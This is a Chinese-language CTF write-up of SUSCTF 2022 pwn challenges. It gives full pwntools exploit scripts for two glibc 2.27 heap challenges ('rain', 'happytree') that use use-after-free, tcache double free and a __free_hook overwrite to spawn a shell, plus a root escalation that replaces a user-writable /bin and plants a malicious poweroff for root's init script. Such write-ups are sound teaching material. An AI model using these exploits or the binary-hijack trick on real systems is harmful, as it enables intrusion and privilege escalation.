SUSCTF 2022 Pwn WriteUp
前言
這次比賽,我是跟着SU
一起打的,一共5
個Pwn
題,算起來比賽時是做了4
個吧,不過最后的內核題被非預期得有點離譜,包括它的revenge
竟然能被更容易地非預期掉,若是不能非預期,可能寫起來還是有點難度的emmmmmm......最后我們SU
拿了冠軍,還是很開心的!!!
下面就貼一下給戰隊寫的WP
,可能最后SU
官方的WP
有些題目是其他師傅寫的,思路應該也都差不多,前面兩個glibc
的堆題都是考察UAF
的構造利用,也都是低版本的glibc
,我覺得還是比較容易的。
rain
這題也不需要完全逆完,就抓可能產生漏洞的地方分析構造就好。首先,很容易關注到config
中realloc
那里,當size = 0
的時候,相當於free
,然后再通過realloc
往這個已經在tcache
中的堆塊寫入數據,修改其next
指針(其實就是個UAF
),就可以進行劫持了,這里由於是2.27(1.2)
版本的libc
,因此還可以進行double free
。不過,這里有兩個地方要考慮一下,第一個就是需要泄露libc
的基地址,第二個就是如何將我們偽造的堆塊申請出來。對於第一個問題,我們容易想到,可以通過更改存放字母表的地址,再打印出來,就能造成信息泄露了,既然要更改存放字母表的地址,自然最方便的就是劫持整個結構體了,我們用raining
刷新一下后,會通過malloc(0x40)
申請一個堆塊存放這個結構體,而我們可以在之前通過realloc
那里double free
一個0x50
的堆塊,這里就會申請出其中一個存放這個結構體,而在之后我們再用realloc
申請出另外一個,就可以劫持到結構體了,這里由於沒開PIE
,故直接將存放字母表的地址改成某個elf
的got
表地址,就可以泄露出libc
基地址了。再考慮第二個問題,如何申請出偽造的堆塊,其實思路是類似地,先用raining
刷新后,通過申請結構體那里申請出一個堆塊,再在之后realloc
申請出的就是偽造的堆塊了,也就可以進行任意寫了,這里劫持的是__free_hook
,再通過realloc(0)
調用free
即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
#io = process('./rain')
io = remote('124.71.185.75', 9999)
elf = ELF('./rain')
libc = ELF('./libc.so.6')
def send_data(heigh, width, front_color, back_color, rainfall, content):
io.sendlineafter('ch> ', b'1')
payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall)
payload = payload.ljust(18, b'a')
payload += content
io.sendafter('FRAME> ', payload)
io.sendlineafter('ch> ', b'2')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'a'*0x58)
io.sendlineafter('ch> ', b'3')
send_data(0, 0, 0, 0, 1, p32(0x1) + p32(0x1) + b'a'*0x20 + p64(0x400E17) + p64(elf.got['atoi']) + b'a'*0x10)
send_data(0x50, 0x50, 0x2, 0x1, 0x64, b'\x00')
io.sendlineafter('ch> ', b'2')
io.recvuntil("Table: ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['atoi']
success("libc_base:\t" + hex(libc_base))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'a'*0x48)
send_data(1, 1, 0, 0, 1, b'')
send_data(0x50, 0x50, 0x2, 0x1, 0x64, p64(libc_base + libc.sym['__free_hook'] - 8))
io.sendlineafter('ch> ', b'3')
send_data(1, 1, 0, 0, 1, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']) + b'a'*0x38)
send_data(1, 1, 0, 0, 1, b'')
io.interactive()
happytree
程序主要實現了一個二叉排序樹的結點加入和刪除,其中每個結點的左子樹中結點的值都小於它,右子樹中所有結點的值都大於它,且沒有重復的結點(每個結點的值&0xff
就是malloc
的堆塊size
),開始感覺刪除那里當需要刪除的結點左右都存在子結點的時候可能有漏洞可以利用,后來也沒細想,因為發現了更簡單的利用思路,可以構造一個只有左結點的單邊樹,然后將結點依次刪除,填滿tcache
后,再刪除一個使其進入unsorted bin
,而每次刪除的時候,存放結點信息的堆塊也會跟着被刪除,此時,在unsorted bin
中的結點對應的存放信息的堆塊就進入了fastbin
,這個存放信息的堆塊的fd
自然是0
,而這個fd
的位置,就是之前存放結點對應值的位置,又因為存放信息的堆塊的bk
不會更改,會有數據殘留,仍然是對應結點的堆塊地址,且包括存放該結點左右子結點地址的位置也不會被覆蓋,都存在數據殘留,利用這幾個數據殘留就很容易達到UAF
的目的。具體操作就是,從tcache
末端申請回一個結點堆塊及其對應存放信息的堆塊,此時其對應存放信息的堆塊的左節點位置就是在unsorted bin
中的結點所對應的存放信息的堆塊(在fastbin
中),此時這個存放信息的堆塊存放的結點的值為0
(由於0
是最小的值,因此之前要構建只有左結點的單邊樹,而不能是右節點),存放的對應結點位置就是在unsorted bin
中的堆塊地址,若是我們show(0)
,自然就可以泄露出libc
的基地址了,然后我們再申請一個小一些的size
,就會從unsorted bin
分割出一部分給用戶,這樣我們0
這個值所對應的結點堆塊地址和申請的小一些的size
對應的結點堆塊地址就指向了同一個地址,又因為這是在libc-2.27(1.2)
下的,故可以直接double free
進tcache
中,也就可以任意寫了。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
#io = process("./pwn")
io = remote("124.71.147.225", 9999)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
def insert(size, content = b'\n'):
io.sendlineafter("cmd> ", b'1')
io.sendlineafter("data: ", str(size))
io.sendafter("content: ", content)
def delete(size):
io.sendlineafter("cmd> ", b'2')
io.sendlineafter("data: ", str(size))
def show(size):
io.sendlineafter("cmd> ", b'3')
io.sendlineafter("data: ", str(size))
def quit():
io.sendlineafter("cmd> ", b'4')
insert(0x1000)
for i in range(9):
insert(0x100*(9-i)+0xff)
for i in range(8):
delete(0x100*(9-i)+0xff)
insert(0xff)
show(0)
io.recvuntil("content: ")
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 96
success("libc_base:\t" + hex(libc_base))
insert(0x160)
delete(0)
delete(0x160)
insert(0x260, p64(libc_base + libc.sym['__free_hook'] - 8))
insert(0x360)
insert(0x460, b'/bin/sh\x00' + p64(libc_base + libc.sym['system']))
delete(0x460)
io.interactive()
kqueue & kqueue's revenge
非預期
/ $ ls -al
drwxrwxr-x 14 ctf ctf 0 Feb 27 11:54 .
drwxrwxr-x 14 ctf ctf 0 Feb 27 11:54 ..
可以看到.
和..
都是用戶權限,所以可以直接改文件名,這里把bin
文件夾的名字改了,再建一個bin
文件夾,之后在bin
文件夾中創建poweroff
並寫入任意命令,再賦予其可執行權限。這樣,在退出1000
權限的/bin/sh
后,init
腳本仍然以root
調用了poweroff
命令(路徑為/bin/poweroff
),就可以以root
執行我們任意更改的惡意指令了,也就很容易地非預期打通了......
exp
如下:
mv bin evil_bin
cd evil_bin
./mkdir /bin
./echo "/evil_bin/cat /flag" > /bin/poweroff
./chmod +x /bin/poweroff
exit
比較無語的是,此題的revenge
版本並沒有修復這個問題,仍然能這樣非預期打通......